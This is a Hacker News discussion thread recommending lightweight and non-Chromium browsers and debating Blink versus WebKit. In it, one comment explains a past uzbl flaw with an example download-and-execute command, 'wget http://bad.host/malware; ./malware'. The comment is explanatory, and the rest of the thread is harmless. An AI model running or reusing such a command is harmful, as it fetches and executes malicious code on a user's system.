Hacker News Reader

Hacker News

Comment by wz1000 | Hacker News Reader

Full thread

wz1000

For anyone interested, here are some web browsers that are actually minimalist and not just reskins of chromium:

http://surf.suckless.org/

https://fanglingsu.github.io/vimb/

http://www.uzbl.org/

View on HN

For anyone interested, here are some web browsers that are actually lightweight (if not html5-compliant) and not webkit-based:

http://www.dillo.org/

http://www.netsurf-browser.org/

For anyone interested, here are some web browsers that are very lightweight and don't bother with HTML at all:

https://www.google.com/search?q=spiders&espv=2&biw=1439&bih=...

For anyone interested, I'm just gonna stick to Safari on my Mac and iOS.

For anyone interested, I hear gopher is making a comeback.

For anyone interested, here are some web browsers that don't care about content at all:

https://curl.haxx.se/

https://www.gnu.org/software/wget/

http://docs.python-requests.org/en/master/

http://search.cpan.org/dist/libwww-perl/lib/LWP.pm

For anyone interested, here is a web browser that care about syntax highlighting :

https://github.com/jkbrzt/httpie

NetSurf actually looks good.

I use NetSurf on a Raspberry Pi B regularly. Does the job unless you need JS.

There is limited JS support now too, which will likely get better over time.

Yeah, but it's been there for a little while now...

NetSurf actually is good. Most of the web is more-or-less usable with it (usually “less” but it's definitely bearable). It's stupid fast too. My only gripe is stability issues and that it's not officially supported on Windows.

Also HV3, although it hasn't been updated recently: http://tkhtml.tcl.tk/hv3.html

I just love Dillo!

On sites that require Javascript, it is useless, of course, and even moderately fancy CSS layouts look ... interesting in it. (OTOH, no Javascript means that it practically has a builtin adblocker.)

But for sites where that is not a problem, it is incredibly fast, plus one can have dozens of tabs open, and it will rarely if ever use more than 100 MB of RAM. For browsing documentation, it usually works perfectly well.

All of those are WebKit-based, which was Chromium's rendering engine until recently. The rest of Chromium is primarily UI and network code, along with their sandboxing system and extensions - WebKit's "ports" have their own implementation of said network code tying into the framework that they're porting to (GTK+ or Qt, usually), and all three browsers you list use the WebKitGTK+ port.

uzbl, the one I've used the most, primarily consists of a pile of code to map callbacks to a protocol on stdin/stdout, and a handful of example scripts to communicate over that protocol - it's certainly no more "from scratch" or smaller than any other WebKit-based browser.

I expect that the other two similarly focus on UI code rather than pointlessly fiddling with WebKitGTK+'s internals - how are they not just skins (albeit of WebKitGTK+, not Chromium) as well?

Do you know of any independent rendering engines? That's something I'd truly be interested in seeing. It seems like a herculean task to undertake.

Edit: Thanks very much for the links. This will be a lot of fun testing out. Just responding here to avoid triggering the anti-flamewar protection.

Well, you know how long you've been hearing about Servo, and how it still, to a first approximation, can't render the web? Yeah, they're also bringing up Rust next to it, but... yeah, that's how long it takes.

It wasn't easy ten years ago, and a modern browser is at least an order of magnitude more complicated (WebGL, more complicated CSS, JS support, heck I'm not even really counting JS JIT here...).

Depends on what you mean by independent. If you just mean not any of the big three and their derivatives, you've got Servo[0], although that's still a herculean effort with direct support from Mozilla in terms of paying people to work on it. On the other end of the spectrum, you've got things like Dillo[1], which don't support much modern HTML/CSS/scripting, but do seem to get on by with far less effort.

[0] https://servo.org/ [1] http://www.dillo.org/

These days it seems most pages are more JS and CSS than HTML...

Microsoft uses its own EdgeHTML in the new "Edge" IE

I wish they'd open source EdgeHTML. I suspect it's far lighter than Gecko or WebKit, given that its development basically started with “let's rip out half of Trident”.

It probably only compiles on Windows, though.

Not really maintained recently, but there is:

https://common-lisp.net/project/closure/

There is Cocktail written Haxe (can compile to C++):

https://github.com/silexlabs/Cocktail

There's h-smile (commercial) from Terra Informatica, that's used by a lot of antivirus vendors to implement desktop GUI software in HTML. The latest commercial branding for it is called Sciter.

Lynx

http://lynx.invisible-island.net/

I mean, they all use webkit, so not really that much different from using chromium.

It's true that they use webkit (which is certainly not ideally minimalist), but even that is much lighter than using Chromium.

Not really, the Chromium content/ layer is pretty much stuff that every browser implementor using blink (or previously, WebKit) would want. See http://www.chromium.org/developers/content-module for more info.

Chromium doesn't use webkit, it uses Blink.

Until a few years ago, Chromium was built on top of WebKit, then had a falling out with Apple / Safari and we got Blink.

Blink is a fork of WebKit and is still largely the same.

Depends on what you are counting as the "same".

Edge put together a really great visualization of the API surface of all the browsers. - https://developer.microsoft.com/en-us/microsoft-edge/platfor... The API surface (and bug surface) is actually pretty different these days.

Internally Blink and WebKit are also diverging reasonably rapidly. As a specific example here is the project to re-architect how blink does it's painting: https://www.chromium.org/blink/slimming-paint

EDIT: spelling

More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard. And thus they throw manhours upon manhours of churn at whatever market segment they hope to control.

> More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard

Not quite - those that employ the maintainers define the standard, as shown multiple times by Red Hat (multiple projects) and by Apple with WebKit.

IIRC, before the Blink fork, Google was pushing more commits into WebKit compared to Apple, but there was a - let's call it a difference in perspective - on a feature a Google employee wanted to implement, someone with an @apple.com email said "no". I can't remember what the issue was, but this development unfolded on webkit mailing list.

True. But without constant churn alternative implementations of interfaces can catch up.

Blink has diverged a fair amount. There are different new features, bug fixes and optimizations.

Most things based on Chromium also use more components of the Chromium stack than just Blink. For example, in WebKit multiprocess support and sandboxing is provided at a batteries-included level. But Blink just has the hooks for it, while the actual implementation of the process architecture is done by other aspects of Chromium.

This is not to say one way is better or worse, but rather that there's significant differences between being WebKit-based vs Chromium-based.

I know that. However, factually I'm correct by saying that Chromium doesn't use webkit. It doesn't matter if it's still largely the same, what matters is that blink diverged from webkit for variety of reasons.

You'd think so (I know I did!), but I was floored the first time I started up Xombrero and saw that with only one tab, it used less than a sixth of the memory that Chromium uses. Xombrero has quickly become my favorite browser, though I only used it in the first place because I couldn't get any other browser that both 1) was not sludge on the Raspberry Pi, and 2) supports the modern Web (HTML5, CSS3, JS, ...).

It's not perfect by any means, but it is now my favorite :)

Seems like the market is moving to almost all second-tier browsers (e.g. Opera) building from Chromium. I think this is a positive development as it should strengthen the underlying code if more people use it as a standard and then innovate UI, tools, services and so forth on top of it. Similar to what you see with the custom Android flavors/knock offs/whatever you want to call them in China.

it also seems that browser built on chromium faces a lot of resistance, because "then I'd just use chromium"

I myself jumped from Opera when they rewrote to blink

I can think of many reasons why folks would want to use a custom browser built on top of Chromium rather than Chrome. Take Opera for example - Adblock and VPN are two services that can live more efficiently deeper in the core versus the extension layer where they are on Chrome. And these are two services that Google does not want to promote any more than they have to in order not to shed users. Browser competition is great for the market, the last thing we want is to end up in an IE6 type situation (and yes it can happen to anybody, even Google).

How quickly we forget the IE years...

qutebrowser is also worth mentioning:

https://qutebrowser.org/

I'm amazed no-one has mentioned "dwb" in this thread. Yet another webkit-based browser with vi-like keybindings, but also an extension manager and plugins such as adblock and requestpolicy. Entirely keyboard-driven.

http://portix.bitbucket.org/dwb/

Looks interesting! I'll have to give it a go today, thanks :)

I used to use dwb for some time. I thought that it was essentially abandonware at this point, with the primary developer focusing on other projects.

Has it started receiving more attention again, or acquired a new maintainer?

I use surf as my main browser and have for the better part of a year.

An addition to the list: https://pwmt.org/projects/jumanji/

uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; ./malware');

I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.

Conkeror (n.b. not Konkeror) is quite good too.

No mention of brave.com?

Reply on news.ycombinator.com